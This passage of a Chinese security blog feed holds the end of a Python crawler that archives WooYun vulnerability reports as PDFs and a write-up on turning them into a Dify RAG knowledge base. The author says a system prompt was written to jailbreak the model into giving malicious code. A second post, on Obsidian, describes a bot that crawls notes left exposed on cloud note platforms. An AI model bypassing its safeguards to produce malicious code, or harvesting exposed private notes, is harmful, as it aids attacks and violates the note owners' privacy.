class="string">&#x27;form&#x27;</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;search&#x27;</span> <span class="keyword">in</span> <span class="built_in">str</span>(form).lower():</span><br><span class="line">                form.decompose()</span><br><span class="line">        </span><br><span class="line">        img_tags = soup.find_all(<span class="string">&#x27;img&#x27;</span>)</span><br><span class="line">        <span class="keyword">for</span> img <span class="keyword">in</span> img_tags:</span><br><span class="line">            img_src = img.get(<span class="string">&#x27;src&#x27;</span>) <span class="keyword">or</span> img.get(<span class="string">&#x27;data-src&#x27;</span>) <span class="keyword">or</span> img.get(<span class="string">&#x27;data-original&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> img_src:</span><br><span class="line">                img_src_lower = img_src.lower()</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">any</span>(skip <span class="keyword">in</span> img_src_lower <span class="keyword">for</span> skip <span class="keyword">in</span> [<span class="string">&#x27;logo&#x27;</span>, <span class="string">&#x27;icon&#x27;</span>, <span class="string">&#x27;avatar&#x27;</span>, <span class="string">&#x27;button&#x27;</span>, <span class="string">&#x27;bg&#x27;</span>, <span class="string">&#x27;background&#x27;</span>, <span class="string">&#x27;favicon&#x27;</span>, <span class="string">&#x27;ewm&#x27;</span>, <span class="string">&#x27;weixin&#x27;</span>]):</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> img_src.startswith(<span class="string">&#x27;http&#x27;</span>):</span><br><span class="line">                    img_src = urljoin(url, img_src)</span><br><span class="line">                </span><br><span class="line">                local_path = <span class="variable language_">self</span>.download_image(img_src, article_id)</span><br><span class="line">                <span class="keyword">if</span> local_path:</span><br><span class="line">                    rel_path = os.path.relpath(local_path, <span class="variable language_">self</span>.output_dir)</span><br><span class="line">                    img[<span class="string">&#x27;src&#x27;</span>] = rel_path</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">str</span>(soup)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save_to_pdf</span>(<span class="params">self, article</span>):</span><br><span class="line">        url = article.get(<span class="string">&#x27;url&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        report_name = article.get(<span class="string">&#x27;report_name&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        html = article.get(<span class="string">&#x27;html&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> html:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        </span><br><span class="line">        safe_filename = <span class="variable language_">self</span>.sanitize_filename(report_name)</span><br><span class="line">        filename = <span class="string">f&quot;<span class="subst">&#123;safe_filename&#125;</span>.pdf&quot;</span></span><br><span class="line">        filepath = os.path.join(<span class="variable language_">self</span>.output_dir, filename)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> os.path.exists(filepath):</span><br><span class="line">            counter = <span class="number">1</span></span><br><span class="line">            <span class="keyword">while</span> os.path.exists(filepath):</span><br><span class="line">                filename = <span class="string">f&quot;<span class="subst">&#123;safe_filename&#125;</span>_<span class="subst">&#123;counter&#125;</span>.pdf&quot;</span></span><br><span class="line">                filepath = os.path.join(<span class="variable language_">self</span>.output_dir, filename)</span><br><span class="line">                counter += <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            temp_html = os.path.join(<span class="variable language_">self</span>.output_dir, <span class="string">f&#x27;temp_<span class="subst">&#123;hashlib.md5(url.encode()).hexdigest()&#125;</span>.html&#x27;</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(temp_html, <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(html)</span><br><span class="line">            </span><br><span class="line">            options = &#123;</span><br><span class="line">                <span class="string">&#x27;page-size&#x27;</span>: <span class="string">&#x27;A4&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;margin-top&#x27;</span>: <span class="string">&#x27;10mm&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;margin-right&#x27;</span>: <span class="string">&#x27;10mm&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;margin-bottom&#x27;</span>: <span class="string">&#x27;10mm&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;margin-left&#x27;</span>: <span class="string">&#x27;10mm&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;encoding&#x27;</span>: <span class="string">&quot;UTF-8&quot;</span>,</span><br><span class="line">                <span class="string">&#x27;no-outline&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                <span class="string">&#x27;enable-local-file-access&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                <span class="string">&#x27;print-media-type&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> <span class="variable language_">self</span>.wkhtmltopdf_path:</span><br><span class="line">                pdfkit.from_file(temp_html, filepath, options=options, configuration=pdfkit.configuration(wkhtmltopdf=<span class="variable language_">self</span>.wkhtmltopdf_path))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                pdfkit.from_file(temp_html, filepath, options=options)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                os.remove(temp_html)</span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line">                <span class="keyword">pass</span></span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> filepath</span><br><span class="line">            </span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;生成PDF失败 <span class="subst">&#123;filename&#125;</span>: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">finally</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;temp_html&#x27;</span> <span class="keyword">in</span> <span class="built_in">locals</span>():</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    os.remove(temp_html)</span><br><span class="line">                <span class="keyword">except</span>:</span><br><span class="line">                    <span class="keyword">pass</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">crawl_all</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在获取总页数...&quot;</span>)</span><br><span class="line">        total_pages = <span class="variable language_">self</span>.get_total_pages()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;共找到 <span class="subst">&#123;total_pages&#125;</span> 页&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        links_file = os.path.join(<span class="variable language_">self</span>.output_dir, <span class="string">&#x27;article_links.txt&#x27;</span>)</span><br><span class="line">        links_fp = <span class="built_in">open</span>(links_file, <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        success_count = <span class="number">0</span></span><br><span class="line">        fail_count = <span class="number">0</span></span><br><span class="line">        total_articles = <span class="number">0</span></span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n开始爬取文章并生成PDF...&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        empty_page_count = <span class="number">0</span></span><br><span class="line">        max_empty_pages = <span class="number">100</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1500</span>, total_pages + <span class="number">1</span>):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n正在处理第 <span class="subst">&#123;page&#125;</span>/<span class="subst">&#123;total_pages&#125;</span> 页...&quot;</span>)</span><br><span class="line">            article_links = <span class="variable language_">self</span>.get_article_links_from_page(page)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> article_links:</span><br><span class="line">                empty_page_count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">if</span> empty_page_count &gt;= max_empty_pages:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            </span><br><span class="line">            empty_page_count = <span class="number">0</span></span><br><span class="line">            </span><br><span class="line">            <span class="keyword">def</span> <span class="title function_">process_article</span>(<span class="params">link</span>):</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> <span class="variable language_">self</span>.file_lock:</span><br><span class="line">                        links_fp.write(<span class="string">f&quot;<span class="subst">&#123;link[<span class="string">&#x27;url&#x27;</span>]&#125;</span>\t<span class="subst">&#123;link[<span class="string">&#x27;title&#x27;</span>]&#125;</span>\n&quot;</span>)</span><br><span class="line">                        links_fp.flush()</span><br><span class="line">                    </span><br><span class="line">                    article = <span class="variable language_">self</span>.get_article_content(link[<span class="string">&#x27;url&#x27;</span>], link.get(<span class="string">&#x27;id&#x27;</span>, <span class="string">&#x27;&#x27;</span>), link[<span class="string">&#x27;title&#x27;</span>])</span><br><span class="line">                    </span><br><span class="line">                    <span class="keyword">if</span> article:</span><br><span class="line">                        filepath = <span class="variable language_">self</span>.save_to_pdf(article)</span><br><span class="line">                        <span class="keyword">if</span> filepath:</span><br><span class="line">                            <span class="keyword">return</span> (<span class="literal">True</span>, <span class="string">f&quot;✓ 已保存: <span class="subst">&#123;link[<span class="string">&#x27;title&#x27;</span>][:<span class="number">50</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">                        <span class="keyword">else</span>:</span><br><span class="line">                            <span class="keyword">return</span> (<span class="literal">False</span>, <span class="string">f&quot;✗ 保存失败: <span class="subst">&#123;link[<span class="string">&#x27;title&#x27;</span>][:<span class="number">50</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        <span class="keyword">return</span> (<span class="literal">False</span>, <span class="string">f&quot;✗ 爬取失败: <span class="subst">&#123;link[<span class="string">&#x27;title&#x27;</span>][:<span class="number">50</span>]&#125;</span>...&quot;</span>)</span><br><span class="line">                <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                    <span class="keyword">return</span> (<span class="literal">False</span>, <span class="string">f&quot;✗ 处理失败 <span class="subst">&#123;link[<span class="string">&#x27;title&#x27;</span>][:<span class="number">50</span>]&#125;</span>: <span class="subst">&#123;<span class="built_in">str</span>(e)[:<span class="number">50</span>]&#125;</span>&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            max_workers = <span class="number">10</span></span><br><span class="line">            <span class="keyword">with</span> ThreadPoolExecutor(max_workers=max_workers) <span class="keyword">as</span> executor:</span><br><span class="line">                futures = &#123;executor.submit(process_article, link): link <span class="keyword">for</span> link <span class="keyword">in</span> article_links&#125;</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">with</span> tqdm(total=<span class="built_in">len</span>(futures), desc=<span class="string">f&quot;第<span class="subst">&#123;page&#125;</span>页&quot;</span>) <span class="keyword">as</span> pbar:</span><br><span class="line">                    <span class="keyword">for</span> future <span class="keyword">in</span> as_completed(futures):</span><br><span class="line">                        total_articles += <span class="number">1</span></span><br><span class="line">                        <span class="keyword">try</span>:</span><br><span class="line">                            success, message = future.result()</span><br><span class="line">                            <span class="keyword">if</span> success:</span><br><span class="line">                                success_count += <span class="number">1</span></span><br><span class="line">                            <span class="keyword">else</span>:</span><br><span class="line">                                fail_count += <span class="number">1</span></span><br><span class="line">                            <span class="built_in">print</span>(message)</span><br><span class="line">                        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                            fail_count += <span class="number">1</span></span><br><span class="line">                        pbar.update(<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">if</span> page &lt; total_pages:</span><br><span class="line">                time.sleep(<span class="number">0.5</span>)</span><br><span class="line">        links_fp.close()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;\n完成！&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    crawler = WooYunCrawler(</span><br><span class="line">        base_url=<span class="string">&quot;http://192.168.50.103&quot;</span>,</span><br><span class="line">        output_dir=<span class="string">&quot;output&quot;</span></span><br><span class="line">    )</span><br><span class="line">    crawler.crawl_all()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>乌云社区一共有 8w 左右的报告，加上一些 Wooyun Drops，以及各大网安会议，整理完这些报告后，接下来要做的就是部署 Dify + 导入知识库，Dify 搭建略过，这里来分享下我是如何配置知识库的，我先通过每篇 pdf 大小 + pdf 标题来判断这篇文章是否精华，然后放到自己的预训练集文件夹里，最后再通过人工复核一共筛选出了 1w 左右的报告（耐看王）</p><p><img src="https://bfs.iloli.moe/blog/20260214120301543.png"></p><p>在入库之前，需要解决以下几个问题</p><ol><li>token 消耗问题</li><li>pdf 图片问题</li><li>大模型理解问题</li></ol><p>我目前所有的报告都使用 pdf 来进行存储，能更好的保存图片里的信息，不过问题就在于如何让大模型来理解图片里面的内容，这里我对每篇报告都做了 OCR 处理，并且在弹片报告末尾采用论文 <code>#1、#2</code> 形式来定位文内图片内容</p><p><img src="https://bfs.iloli.moe/blog/20260214120320337.png"></p><p>在设置这里，我用的是 Parent-Child（父子模式），子块（Child）设为 300 token，父块（Parent）设为 1500 token，检索模式为混合检索（Hybrid Search），权重设置为了语义 (Vector) 0.7 : 关键字 (Full-text) 0.3，至于 Top K 和 Score 阈值，我 Top K 设置为了 6，因为安全报告往往比较长，给 AI 太多文档会导致它处理不过来，所以设置这个分段足够涵盖大多数漏洞的复现过程，Score 阈值为 0.5，Embedding 模型用的千问 text-embedding-v4，<strong>注：这里列举的为其中一个知识库的配置，还有别的调好的，这里就不放出来了</strong></p><blockquote><p>叠甲：本人对 AI 一窍不通，上文如有技术性错误请谅解</p></blockquote><p>配置完这些后可以用召回测试来查询文本测试知识的召回效果，然后就是 token 消耗问题，这个没啥好说的，砸钱就行，至于大模型理解问题，这个写了一段 SYSTEM PROMPT 强行越狱允许输出一些恶意的代码</p><p><img src="https://bfs.iloli.moe/blog/20260214120328047.png"></p><p>搞完了上面这些东西后，接下来就是配置工作流，这个没啥好弄的，直接在大模型前面甩一个知识库即可</p><p><img src="https://bfs.iloli.moe/blog/20260214120329730.png"></p><p>全部配置完成后，就可以在探索界面里面开始和这些 bot 对话了</p><p><img src="https://bfs.iloli.moe/blog/20260214120338359.png"><br><img src="https://bfs.iloli.moe/blog/20260214120335549.png"></p><p>简单放两张吧，接下来就是总结了，经过这一年多的折腾，我个人认为这些报告确实有点老了，怎么说呢，就是感觉以前真的是一个捡漏洞的时代（），随便打开一个站点都能找到漏洞，并且厂商修复也是非常及时，你甚至能在评论区看见不少用户和厂商 battle，然而，这个 bot 搓出来后我已经很久没在用了，弄这个知识库还亏了我几十块钱</p><p><img src="https://bfs.iloli.moe/blog/20260214120342162.png"></p><p>不过相比 Claude Skills 还好，就当学习 AI 路径上要过的一个门槛罢了，后续还会搞一些好玩的东西，先藏着掖着吧，看看安全圈的师傅们怎么搞的，某家安全厂商还做了一个熊猫 Wiki，我也尝试用这个东西来做乌云文章的 RAG，但是他们那个东西有文件上传限制，搞半天后就没再搞了</p><p>至于后续发展，那当然是往我最喜欢的服装制造方向进行发展，如何用 AI 来理解一件衣服的特性、亮点，这是非常重要的，我们要教给 AI 的，不仅仅是识别这是一件“真丝衬衫”，更重要的是，我们要让它读懂 19 姆米真丝的垂坠感指标、抗皱系数，以及它在不同光源下呈现的偏光特性，这就像是分析软件的底层架构，面料就是服装的底层代码</p><p><img src="https://bfs.iloli.moe/blog/20260214120305155.png"></p><p>一件衣服之所以成为“神作”，往往藏在那些“非标”的细节里，是那道 0.1cm 的极细压线，还是领口处为了贴合颈部曲线而做的 15 度斜裁？AI 应该像扫描 PoC（漏洞证明）一样，精准地捕捉到这些设计师留下的“彩蛋”，并将这些抽象的美感，转化为结构化的核心卖点</p><p><img src="https://bfs.iloli.moe/blog/20260214120305226.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;前排提醒：吃水不忘挖井人，现在能挖出漏洞，大多数都是靠的前辈们那些数不清的技巧和手法，这些宝贵的经验不仅缩短了后者学习的路径，更让我们在面对日益复杂的防御机制时，能够站在巨人的肩膀上，观察到更远的安全边界&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
  </entry>
  
  <entry>
    <title>Why Obsidian is the Best Note-Taking Software in the World</title>
    <link href="https://iloli.moe/2026/02/12/why-obsidian-is-the-best-note-taking-software-in-the-world/"/>
    <id>https://iloli.moe/2026/02/12/why-obsidian-is-the-best-note-taking-software-in-the-world/</id>
    <published>2026-02-12T04:44:58.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>在2019年前，我记录笔记的方式是语雀+Typora（破解版），但到了2020年，一次偶然的机会让我用到了 Obsidian 这款软件，与传统记笔记的形式不同，Obsidian 更像是一款基金，将你的笔记综合起来，并完全离线存储，这也使得它丧失了线上多端同步的功能，不过好在 Obsidian 那强大的笔记管理功能，可以让你不用在到处翻找你那放在角落许久的笔记，这几年使用下来，我总结了 Obsidian 几大好处</p><ul><li>第一，<strong>安全性</strong>，得益于笔记完全离线存储，你可以放心地将你的笔记存储在电脑上，而不是放在诸如飞书、语雀、Github Pages等等第三方笔记托管平台，如果怕丢掉，可以学我在内网部署一个 NAS，并将笔记存储在 NAS 上</li><li>第二，<strong>开放性</strong>，Obsidian 拥有强大的社区文化，你可以自由的安装第三方插件，或者自行编写插件，来拓展你的笔记特性，并且你可以 DIY 你的 Obsidian 主题以及样式，非常好</li><li>第三，<strong>兼容性</strong>，如果你完全掌握了 HTML + Markdown 的语法，那么你可以自由的在 Obsidian 编写你的笔记，并给笔记加上一点样式让他变得更好看，打造一个纯离线的子弹笔记</li></ul><p>写了这么多，接下来我给大家分享一下我的 Obsidian 本地配置情况，这里仅列举出我目前的配置以及部分样式整理，如果你不了解 Obsidian 的 CSS 样式，你可以查阅下面这篇文章</p><blockquote><p><a href="https://publish.obsidian.md/help-zh/%E7%BC%96%E8%BE%91%E4%B8%8E%E6%A0%BC%E5%BC%8F%E5%8C%96/%E7%BC%96%E8%BE%91%E7%9B%B8%E5%85%B3%E7%9A%84%E5%BF%AB%E6%8D%B7%E9%94%AE">https://publish.obsidian.md/help-zh/%E7%BC%96%E8%BE%91%E4%B8%8E%E6%A0%BC%E5%BC%8F%E5%8C%96/%E7%BC%96%E8%BE%91%E7%9B%B8%E5%85%B3%E7%9A%84%E5%BF%AB%E6%8D%B7%E9%94%AE</a></p></blockquote><p><img src="https://bfs.iloli.moe/blog/20260212132206020.png" alt="image-20260212132205807"></p><p>首先就是笔记主题，这里我使用的是 <code>Blue Topaz</code>，然后搭配自己编写的 CSS 样式，加上一些自定义的插件，目前笔记的大致界面如下</p><p><img src="https://bfs.iloli.moe/blog/20260212125520898.png" alt="image-20260212125520702"></p><p>除此之外，还有一些我认为非常不错的小插件，这里也跟大家分享一下</p><p><img src="https://bfs.iloli.moe/blog/20260212125605961.png" alt="image-20260212125605840"></p><p>第一个就是 <code>Auto Link Title</code>，这个插件的核心功能就是将一篇文章里的链接 <code>[]</code> 给转换成 title，而不是再放入链接，一开始我觉得很鸡肋，但用到后面你会发现，你有时候傻呆呆地看着一串不明所以的链接，还不如直接放上一个清晰的标题</p><p><img src="https://bfs.iloli.moe/blog/20260212125903615.png" alt="image-20260212125903451"></p><p>第二个就是 <code>Clear Unused Image</code>，这个插件的核心功能如同字面意思，就是清理不要用的图片，但我建议，清理之前最好先配制成删除到 Obsidian 的回收站，避免删错图片</p><p><img src="https://bfs.iloli.moe/blog/20260212130024429.png" alt="image-20260212130024344"></p><p>第三个就是 <code>Excalidraw</code>，这个东西很好用，你可以在 Obsidian 里面画图，用来梳理逻辑，和 Xmind 不同，这个比较自由，但相对应的画起来也比较麻烦一点</p><p><img src="https://bfs.iloli.moe/blog/20260212130139888.png" alt="image-20260212130139814"></p><p>第四个就是 <code>Git</code>，这个不用多说，如果你想要离线存储+离线备份，可以在内网部署一个 NAS，然后装上 Gitea 或者 Gogs 在或者 Gitlab，即能保证 CI&#x2F;CD 的稳定运行，又能离线备份笔记，岂不美哉</p><p><img src="https://bfs.iloli.moe/blog/20260212130310787.png" alt="image-20260212130310698"></p><p>第五个就是 <code>Image Toolkit</code>，有时候出题的时候，会遇到写 Writeup 图像文字不清晰的时候，用上这个插件可以自由的缩放图片，评价为夯到爆了</p><p><img src="https://bfs.iloli.moe/blog/20260212130407019.png" alt="image-20260212130406922"></p><p>以上就是我比较常用的 Obsidian 插件，当然，以前我也部署过 Diygod 的《基于 Obsidian 的生活记录系统》，不过长期体验下来感觉不太适合我，这里分享给有需要的人吧</p><blockquote><p><a href="https://diygod.cc/obsidian/">https://diygod.cc/obsidian/</a></p></blockquote><p>最后想跟大家说一下为什么这个标题 <code>为什么说 Obsidian 是世界上最好的笔记软件</code> 要取得这么夸张，除了开头所说的那几个优点外，Obsidian 和其他笔记软件最大的不同还是离线存储，有人可能会反驳，Typora 和 Notepad 这些也能作为笔记软件，为什么 Obsidian 能被你说成最好的笔记软件呢？这里我想跟大家分享一个案例，如果你长期高速网上冲浪，你会发现语雀、Github、飞书、乃至 notion，这些笔记如果配置不好的话都会在互联网上裸奔，再早一点，挖 edusrc 的时候那泄漏的叫一个爽啊😋，下图为语雀的冰山一角</p><p><img src="https://bfs.iloli.moe/blog/20260212130848720.png" alt="image-20260212130848582"></p><p>所以，我专门在内网部署了一个 bot，用于定期爬取这些笔记，这也就是为什么，我之前文章里面有写过 <a href="https://iloli.moe/2026/01/13/%E5%8D%9A%E5%AE%A2%E6%96%87%E7%AB%A0%E6%9C%AA%E6%9D%A5%E8%B5%B0%E5%90%91/">我的私有RSS订阅服务器已经订阅了上千个技术博客，每天需要做的就是简单看一下这些大博主都写了些什么，然后把思路记录在本地Obsidian服务器上</a>，这并不是空穴来风，而是长期使用 AI 分析这些博客后得出的结果，在当下人人都能用 AI 创作的年代，技术类的笔记已经不在重要，我们缺的是创造性的思维、一种发散性的思维，所以啊，把别人的思维总结成自己的我觉得非常有趣，安安静静的当个白嫖怪就好了😋（开个玩笑</p><p>当然，Obsidian 就没有缺点了吗？有的，兄弟，有的，Obsidian 最大的缺点就是 “卡” 以及受众面太少了，先来说说卡，我之前硬塞了 20 多个插件，并且有些插件因为 JS 问题冲突了，三番五次就得重启一下或者打开 Dev Tools 看看哪里冲突了，如果你的笔记像我一样有 500 多篇，那么你可以尝试同时开 50 篇笔记，保证卡不死你，当然不排除我电脑比较垃圾。</p><p><img src="https://bfs.iloli.moe/blog/20260212132518595.png" alt="image-20260212132518515"></p><p>然后，Obsidian 的安全性如何？这一点的话，你只要不作死安装 Github 上开源的插件，或者安装一些来路不明的插件，我认为基本上是没有什么安全风险的，还是得看个人的使用习惯，安装第三方插件之前先自己审或者用 AI 大致审计一下代码，看看有哪些风险，不然运气不好的话装上恶意插件后你的电脑就弹出计算器了😠</p><p><img src="https://bfs.iloli.moe/blog/20260212133430185.gif" alt="img"></p><p><img src="https://bfs.iloli.moe/blog/20260212133803769.png" alt="image-20260212133803647"></p><p>最后做个简短地总结吧，这款笔记我可能会在用个五年，等到以后有工作了，或者有新的平替了，我才会选择更换这款笔记软件，或者完全不记笔记，目前互联网处在一个高速发展的时代，任何人只要动动小手就能在网上搜索到自己想要的东西，不像以前搜个东西还搜不到，再过个5年后，就可以自由的向 AI 提问你想要的东西，到那个时候，我认为就没有再做笔记的必要了，直接用 AI 总结、AI 生成、或者简单爬一些东西做个 RAG 让 AI 理解，就这么简单，不过有一点 AI 是替代不了的，那就是你可以自由的发布 VLOG、或者旅行、生活类的文章🤤</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在2019年前，我记录笔记的方式是语雀+Typora（破解版），但到了2020年，一次偶然的机会让我用到了 Obsidian 这款软件，与传统记笔记的形式不同，Obsidian 更像是一款基金，将你的笔记综合起来，并完全离线存储，这也使得它丧失了线上多端同步的功能，不过好在</summary>
      
    
    
    
    <category term="Life" scheme="https://iloli.moe/categories/Life/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
  </entry>
  
</feed>
